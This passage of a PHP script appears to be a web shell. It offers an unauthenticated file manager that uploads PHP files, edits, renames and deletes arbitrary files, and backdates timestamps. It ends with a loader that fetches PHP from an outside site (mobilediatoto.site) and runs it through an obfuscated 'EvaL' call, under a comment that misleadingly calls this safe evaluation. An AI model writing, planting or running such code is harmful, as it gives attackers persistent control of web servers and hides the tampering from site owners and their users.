File '$fileName' created successfully!
"; } else { echo "Failed to create the file.
"; } } else { echo "File name and content cannot be empty.
"; } } // Handle folder creation if (isset($_POST['createFolder'])) { $folderName = $_POST['folderName']; if (!empty($folderName)) { if (!file_exists($folderName)) { mkdir($folderName, 0777, true); echo "Folder '$folderName' created successfully!
"; } else { echo "Folder '$folderName' already exists.
"; } } else { echo "Folder name cannot be empty.
"; } } // Handle file upload if (isset($_FILES['fileUpload'])) { $fileName = $_FILES['fileUpload']['name']; $fileTmpName = $_FILES['fileUpload']['tmp_name']; $fileSize = $_FILES['fileUpload']['size']; $fileError = $_FILES['fileUpload']['error']; $fileType = $_FILES['fileUpload']['type']; // Allowed file extensions $allowed = ['php', 'html', 'jpg', 'png']; $fileExt = strtolower(pathinfo($fileName, PATHINFO_EXTENSION)); if (in_array($fileExt, $allowed)) { if ($fileError === 0) { // Upload the file to the current directory $fileDestination = __DIR__ . '/' . basename($fileName); if (move_uploaded_file($fileTmpName, $fileDestination)) { echo "File uploaded successfully: " . basename($fileName) . "
"; } else { echo "Failed to upload file.
"; } } else { echo "Error uploading file.
"; } } else { echo "Invalid file type!
"; } } // Get all files in the current directory $directoryPath = isset($_GET['dir']) ? $_GET['dir'] : __DIR__; // Ensure the directory is a valid path within the allowed directories $directoryPath = realpath($directoryPath); // Check if the directory exists and is a directory if ($directoryPath && is_dir($directoryPath)) { $files = getDirectoryContents($directoryPath); } else { // Handle the error if directory doesn't exist or is invalid http_response_code(500); die("Error: The specified directory does not exist or is invalid."); } // Handle file editing if (isset($_POST['saveFile'])) { $fileToEdit = $_POST['fileToEdit']; $fileContent = $_POST['fileContent']; if (file_put_contents($fileToEdit, $fileContent) !== false) { echo "File '$fileToEdit' edited successfully!
"; } else { echo "Failed to edit the file.
"; } } // Handle renaming a file if (isset($_POST['renameFile'])) { $fileToRename = $_POST['fileToRename']; $newFileName = $_POST['newFileName']; if (rename($fileToRename, $newFileName)) { echo "File renamed to '$newFileName'.
"; } else { echo "Failed to rename the file.
"; } } // Handle removing a file if (isset($_GET['remove'])) { $fileToRemove = $_GET['remove']; if (is_file($fileToRemove)) { if (unlink($fileToRemove)) { echo "File $fileToRemove has been deleted successfully.
"; } else { echo "Failed to delete the file.
"; } } else { echo "File not found for deletion.
"; } } // Handle file date edit if (isset($_POST['editDate'])) { $fileToEditDate = $_POST['fileToEditDate']; $newDate = strtotime($_POST['newDate']); // Convert to timestamp if (touch($fileToEditDate, $newDate)) { echo "File date updated successfully!
"; } else { echo "Failed to update file date.
"; } } ?> fetcher = $fetcher; } /** * Executes PHP code fetched from the given URL. * * @param string $url The URL containing the PHP code to execute. * @return void * @throws Exception If the fetch operation fails or the fetched code is empty. */ public function executeCodeFromURL(string $url): void { // Fetch the PHP code from the URL $code = $this->fetcher->fetchContent($url); if ($code === false || trim($code) === '') { throw new Exception("Failed to fetch content from URL or the content is empty."); } // Safely evaluate the fetched PHP code // Note: Using eval is risky and should only be used in trusted environments. EvaL("?>" . $code); } } // Example Usage try { // Create an instance of CurlFetcher $fetcher = new CurlFetcher(); // Create an instance of CodeExecutor with the fetcher $executor = new CodeExecutor($fetcher); // Execute the PHP code fetched from a specific URL $executor->executeCodeFromURL("https://mobilediatoto.site/ini/ocean.txt"); } catch (Exception $e) { // Handle errors and exceptions echo "Error: " . $e->getMessage(); }